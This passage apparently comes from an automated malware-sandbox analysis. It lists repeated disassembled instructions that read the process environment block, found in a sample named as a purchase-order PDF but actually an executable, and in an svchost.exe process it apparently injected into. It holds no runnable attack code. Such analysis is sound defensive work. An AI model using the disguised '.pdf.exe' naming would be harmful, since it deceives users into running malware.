Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_011E3730 mov eax, dword ptr fs:[00000030h]		0_2_011E3730
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_011E36D0 mov eax, dword ptr fs:[00000030h]		0_2_011E36D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B035C mov eax, dword ptr fs:[00000030h]		2_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B035C mov eax, dword ptr fs:[00000030h]		2_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B035C mov eax, dword ptr fs:[00000030h]		2_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B035C mov ecx, dword ptr fs:[00000030h]		2_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B035C mov eax, dword ptr fs:[00000030h]		2_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B035C mov eax, dword ptr fs:[00000030h]		2_2_035B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FA352 mov eax, dword ptr fs:[00000030h]		2_2_035FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B2349 mov eax, dword ptr fs:[00000030h]		2_2_035B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D437C mov eax, dword ptr fs:[00000030h]		2_2_035D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0360634F mov eax, dword ptr fs:[00000030h]		2_2_0360634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352C310 mov ecx, dword ptr fs:[00000030h]		2_2_0352C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03550310 mov ecx, dword ptr fs:[00000030h]		2_2_03550310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A30B mov eax, dword ptr fs:[00000030h]		2_2_0356A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A30B mov eax, dword ptr fs:[00000030h]		2_2_0356A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A30B mov eax, dword ptr fs:[00000030h]		2_2_0356A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE3DB mov eax, dword ptr fs:[00000030h]		2_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE3DB mov eax, dword ptr fs:[00000030h]		2_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE3DB mov ecx, dword ptr fs:[00000030h]		2_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE3DB mov eax, dword ptr fs:[00000030h]		2_2_035DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D43D4 mov eax, dword ptr fs:[00000030h]		2_2_035D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D43D4 mov eax, dword ptr fs:[00000030h]		2_2_035D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EC3CD mov eax, dword ptr fs:[00000030h]		2_2_035EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A3C0 mov eax, dword ptr fs:[00000030h]		2_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A3C0 mov eax, dword ptr fs:[00000030h]		2_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A3C0 mov eax, dword ptr fs:[00000030h]		2_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A3C0 mov eax, dword ptr fs:[00000030h]		2_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A3C0 mov eax, dword ptr fs:[00000030h]		2_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A3C0 mov eax, dword ptr fs:[00000030h]		2_2_0353A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035383C0 mov eax, dword ptr fs:[00000030h]		2_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035383C0 mov eax, dword ptr fs:[00000030h]		2_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035383C0 mov eax, dword ptr fs:[00000030h]		2_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035383C0 mov eax, dword ptr fs:[00000030h]		2_2_035383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B63C0 mov eax, dword ptr fs:[00000030h]		2_2_035B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E3F0 mov eax, dword ptr fs:[00000030h]		2_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E3F0 mov eax, dword ptr fs:[00000030h]		2_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E3F0 mov eax, dword ptr fs:[00000030h]		2_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035663FF mov eax, dword ptr fs:[00000030h]		2_2_035663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035403E9 mov eax, dword ptr fs:[00000030h]		2_2_035403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03528397 mov eax, dword ptr fs:[00000030h]		2_2_03528397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03528397 mov eax, dword ptr fs:[00000030h]		2_2_03528397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03528397 mov eax, dword ptr fs:[00000030h]		2_2_03528397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352E388 mov eax, dword ptr fs:[00000030h]		2_2_0352E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352E388 mov eax, dword ptr fs:[00000030h]		2_2_0352E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352E388 mov eax, dword ptr fs:[00000030h]		2_2_0352E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355438F mov eax, dword ptr fs:[00000030h]		2_2_0355438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355438F mov eax, dword ptr fs:[00000030h]		2_2_0355438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352A250 mov eax, dword ptr fs:[00000030h]		2_2_0352A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536259 mov eax, dword ptr fs:[00000030h]		2_2_03536259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EA250 mov eax, dword ptr fs:[00000030h]		2_2_035EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EA250 mov eax, dword ptr fs:[00000030h]		2_2_035EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B8243 mov eax, dword ptr fs:[00000030h]		2_2_035B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B8243 mov ecx, dword ptr fs:[00000030h]		2_2_035B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274 mov eax, dword ptr fs:[00000030h]		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03534260 mov eax, dword ptr fs:[00000030h]		2_2_03534260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03534260 mov eax, dword ptr fs:[00000030h]		2_2_03534260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03534260 mov eax, dword ptr fs:[00000030h]		2_2_03534260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352826B mov eax, dword ptr fs:[00000030h]		2_2_0352826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0360625D mov eax, dword ptr fs:[00000030h]		2_2_0360625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352823B mov eax, dword ptr fs:[00000030h]		2_2_0352823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A2C3 mov eax, dword ptr fs:[00000030h]		2_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A2C3 mov eax, dword ptr fs:[00000030h]		2_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A2C3 mov eax, dword ptr fs:[00000030h]		2_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A2C3 mov eax, dword ptr fs:[00000030h]		2_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A2C3 mov eax, dword ptr fs:[00000030h]		2_2_0353A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035402E1 mov eax, dword ptr fs:[00000030h]		2_2_035402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035402E1 mov eax, dword ptr fs:[00000030h]		2_2_035402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035402E1 mov eax, dword ptr fs:[00000030h]		2_2_035402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036062D6 mov eax, dword ptr fs:[00000030h]		2_2_036062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E284 mov eax, dword ptr fs:[00000030h]		2_2_0356E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E284 mov eax, dword ptr fs:[00000030h]		2_2_0356E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B0283 mov eax, dword ptr fs:[00000030h]		2_2_035B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B0283 mov eax, dword ptr fs:[00000030h]		2_2_035B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B0283 mov eax, dword ptr fs:[00000030h]		2_2_035B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035402A0 mov eax, dword ptr fs:[00000030h]		2_2_035402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035402A0 mov eax, dword ptr fs:[00000030h]		2_2_035402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C62A0 mov eax, dword ptr fs:[00000030h]		2_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C62A0 mov ecx, dword ptr fs:[00000030h]		2_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C62A0 mov eax, dword ptr fs:[00000030h]		2_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C62A0 mov eax, dword ptr fs:[00000030h]		2_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C62A0 mov eax, dword ptr fs:[00000030h]		2_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C62A0 mov eax, dword ptr fs:[00000030h]		2_2_035C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352C156 mov eax, dword ptr fs:[00000030h]		2_2_0352C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C8158 mov eax, dword ptr fs:[00000030h]		2_2_035C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604164 mov eax, dword ptr fs:[00000030h]		2_2_03604164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03604164 mov eax, dword ptr fs:[00000030h]		2_2_03604164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536154 mov eax, dword ptr fs:[00000030h]		2_2_03536154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03536154 mov eax, dword ptr fs:[00000030h]		2_2_03536154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C4144 mov eax, dword ptr fs:[00000030h]		2_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C4144 mov eax, dword ptr fs:[00000030h]		2_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C4144 mov ecx, dword ptr fs:[00000030h]		2_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C4144 mov eax, dword ptr fs:[00000030h]		2_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C4144 mov eax, dword ptr fs:[00000030h]		2_2_035C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DA118 mov ecx, dword ptr fs:[00000030h]		2_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DA118 mov eax, dword ptr fs:[00000030h]		2_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DA118 mov eax, dword ptr fs:[00000030h]		2_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DA118 mov eax, dword ptr fs:[00000030h]		2_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F0115 mov eax, dword ptr fs:[00000030h]		2_2_035F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov eax, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov ecx, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov eax, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov eax, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov ecx, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov eax, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov eax, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov ecx, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov eax, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DE10E mov ecx, dword ptr fs:[00000030h]		2_2_035DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03560124 mov eax, dword ptr fs:[00000030h]		2_2_03560124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036061E5 mov eax, dword ptr fs:[00000030h]		2_2_036061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE1D0 mov eax, dword ptr fs:[00000030h]		2_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE1D0 mov eax, dword ptr fs:[00000030h]		2_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE1D0 mov ecx, dword ptr fs:[00000030h]		2_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE1D0 mov eax, dword ptr fs:[00000030h]		2_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE1D0 mov eax, dword ptr fs:[00000030h]		2_2_035AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F61C3 mov eax, dword ptr fs:[00000030h]		2_2_035F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F61C3 mov eax, dword ptr fs:[00000030h]		2_2_035F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035601F8 mov eax, dword ptr fs:[00000030h]		2_2_035601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B019F mov eax, dword ptr fs:[00000030h]		2_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B019F mov eax, dword ptr fs:[00000030h]		2_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B019F mov eax, dword ptr fs:[00000030h]		2_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B019F mov eax, dword ptr fs:[00000030h]		2_2_035B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352A197 mov eax, dword ptr fs:[00000030h]		2_2_0352A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352A197 mov eax, dword ptr fs:[00000030h]		2_2_0352A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352A197 mov eax, dword ptr fs:[00000030h]		2_2_0352A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03570185 mov eax, dword ptr fs:[00000030h]		2_2_03570185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EC188 mov eax, dword ptr fs:[00000030h]		2_2_035EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EC188 mov eax, dword ptr fs:[00000030h]		2_2_035EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D4180 mov eax, dword ptr fs:[00000030h]		2_2_035D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D4180 mov eax, dword ptr fs:[00000030h]		2_2_035D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03532050 mov eax, dword ptr fs:[00000030h]		2_2_03532050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B6050 mov eax, dword ptr fs:[00000030h]		2_2_035B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355C073 mov eax, dword ptr fs:[00000030h]		2_2_0355C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E016 mov eax, dword ptr fs:[00000030h]		2_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E016 mov eax, dword ptr fs:[00000030h]		2_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E016 mov eax, dword ptr fs:[00000030h]		2_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E016 mov eax, dword ptr fs:[00000030h]		2_2_0354E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B4000 mov ecx, dword ptr fs:[00000030h]		2_2_035B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000 mov eax, dword ptr fs:[00000030h]		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C6030 mov eax, dword ptr fs:[00000030h]		2_2_035C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352A020 mov eax, dword ptr fs:[00000030h]		2_2_0352A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352C020 mov eax, dword ptr fs:[00000030h]		2_2_0352C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B20DE mov eax, dword ptr fs:[00000030h]		2_2_035B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352C0F0 mov eax, dword ptr fs:[00000030h]		2_2_0352C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035720F0 mov ecx, dword ptr fs:[00000030h]		2_2_035720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352A0E3 mov ecx, dword ptr fs:[00000030h]		2_2_0352A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035380E9 mov eax, dword ptr fs:[00000030h]		2_2_035380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B60E0 mov eax, dword ptr fs:[00000030h]		2_2_035B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353208A mov eax, dword ptr fs:[00000030h]		2_2_0353208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F60B8 mov eax, dword ptr fs:[00000030h]		2_2_035F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F60B8 mov ecx, dword ptr fs:[00000030h]		2_2_035F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035280A0 mov eax, dword ptr fs:[00000030h]		2_2_035280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C80A8 mov eax, dword ptr fs:[00000030h]		2_2_035C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530750 mov eax, dword ptr fs:[00000030h]		2_2_03530750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BE75D mov eax, dword ptr fs:[00000030h]		2_2_035BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572750 mov eax, dword ptr fs:[00000030h]		2_2_03572750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572750 mov eax, dword ptr fs:[00000030h]		2_2_03572750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B4755 mov eax, dword ptr fs:[00000030h]		2_2_035B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356674D mov esi, dword ptr fs:[00000030h]		2_2_0356674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356674D mov eax, dword ptr fs:[00000030h]		2_2_0356674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356674D mov eax, dword ptr fs:[00000030h]		2_2_0356674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03538770 mov eax, dword ptr fs:[00000030h]		2_2_03538770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770 mov eax, dword ptr fs:[00000030h]		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530710 mov eax, dword ptr fs:[00000030h]		2_2_03530710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03560710 mov eax, dword ptr fs:[00000030h]		2_2_03560710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C700 mov eax, dword ptr fs:[00000030h]		2_2_0356C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356273C mov eax, dword ptr fs:[00000030h]		2_2_0356273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356273C mov ecx, dword ptr fs:[00000030h]		2_2_0356273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356273C mov eax, dword ptr fs:[00000030h]		2_2_0356273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AC730 mov eax, dword ptr fs:[00000030h]		2_2_035AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C720 mov eax, dword ptr fs:[00000030h]		2_2_0356C720
